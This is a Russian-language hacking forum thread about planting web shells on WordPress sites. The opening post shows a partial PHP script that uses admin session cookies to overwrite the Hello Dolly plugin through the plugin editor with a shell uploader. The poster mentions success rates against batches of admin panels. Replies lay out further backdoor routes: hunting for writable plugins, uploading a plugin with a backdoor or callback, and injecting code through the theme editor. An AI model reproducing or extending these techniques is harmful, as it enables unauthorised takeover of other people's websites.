Заливка шелла в wordpress

Discussion in 'Песочница' started by Storks, 1 Aug 2022.

  1. Storks

    Storks New Member

    Joined:
    18 Jul 2022
    Messages:
    4
    Likes Received:
    0
    Reputations:
    0
    Понадобился скрипт для заливки шеллов в вп, нашел свою старую наработку через плагин Hello Dolly, вот ключевой кусок который показывает концепцию

    PHP:
    $hello_edit 'http://'.$path.'/wp-admin/plugin-editor.php?file=hello.php';
        
    $hello_path 'http://'.$path.'/wp-content/plugins/hello.php';
        
    $plugin_editor 'http://'.$path.'/wp-admin/plugin-editor.php';
     
        
    $response curlPostCookies($hello_edit''$cookies);
        
    $data extractFormData($response);
        
    //var_dump($data);
        //var_dump($code);
        //exit();
        
    $code urlencode($code);
        
    $response curlPostCookies($plugin_editor$data.'&newcontent='.$code$cookies );
        
    $response curlGet($hello_path);
        
    //var_dump($response);
        
    preg_match('~url:(.+)~'$response$matches);
        
    $url $matches[1];
        
    //echo $url;
        
    $response curlPostCookies($hello_edit''$cookies);
        
    $data extractFormData($response);
        
    $response curlPostCookies($hello_edit$data.'&newcontent='.urlencode($hello_dolly_text), $cookies );
        if(
    $url)
            return 
    $url;
        return 
    false;
    Суть ясна - меняем текст плагина на наш пхп код (в моем случае это заливщик который ищет папку на запись и выдает урл куда загрузился шелл). Года три назад пробив был нормальным в принципе, 10% шеллов с пачки админок получалось, сейчас это вообще не работает, практически ни один шелл не залился. Мб что-то поменялось с тех пор или waf стали настолько продвинутыми? Может есть какой-то более адекватный способ грузится?
     
  2. 1NtR0

    1NtR0 Elder - Старейшина

    Joined:
    14 Apr 2007
    Messages:
    234
    Likes Received:
    86
    Reputations:
    35
    Ничего не понятно .. А где функции curlPostCookies, curlGet, extractFormData ?

    Code:
    $response = curlPostCookies($hello_edit, $data.'&newcontent='.urlencode($hello_dolly_text), $cookies );
    
    А откуда взялся $hello_dolly_text ?
    $cookies тоже где-то потерялись ))
    Странно что этот код вообще что-то заливал
     
  3. b3

    b3 Moderator

    Joined:
    5 Dec 2004
    Messages:
    2,045
    Likes Received:
    932
    Reputations:
    199
    он часть показал, сам смысл в том что он редактирует плагин через встроенный редактор. Ну вообще нужно бы пройтись по всем установленным плагинам и проверить у которого есть права на редактирование и потом править. Ну и так же прикрутить запасной вариант через загрузку нового плагина. Плюс можно код инжектить в саму тему через редактор тем.
     
    _________________________
  4. Storks

    Storks New Member

    Joined:
    18 Jul 2022
    Messages:
    4
    Likes Received:
    0
    Reputations:
    0
    Звучит как хороший план. А можно примеры с эксплойтом или кодом на?:
    1. проверку плагинов на записб
    2. загрузку своего плагина
    3. инжект через редактор тем

    Если уже подобные методы обсуждались и обсасывались то это только плюс, потому что с нуля самому велосипед городить не хочется. ЯП не принципиален, я все равно под питон буду переписывать.
     
  5. b3

    b3 Moderator

    Joined:
    5 Dec 2004
    Messages:
    2,045
    Likes Received:
    932
    Reputations:
    199
    мне лень писать) бери снифер, заходи в админку и снифай пакеты, там все очень банально и просто. заходишь в плагины, регуляркой собираешь из формы все имена плагинов, потом в каждый плагин заходишь и пытаешься редактировать файл/файлы.
    Загрузка плагина тоже самое, гуглишь пустой плагин, вписываешь в него свой бэкдор или отстук и загружаешь паралельно снифая загрузку чтоб воссоздать это в коде на ЯП.
     
    _________________________
    Storks and crlf like this.
  6. Storks

    Storks New Member

    Joined:
    18 Jul 2022
    Messages:
    4
    Likes Received:
    0
    Reputations:
    0
    спасибо, попробую.
    Если кто-то подкинет еще идей или рабочий код будет тоже очень мило
     
Loading...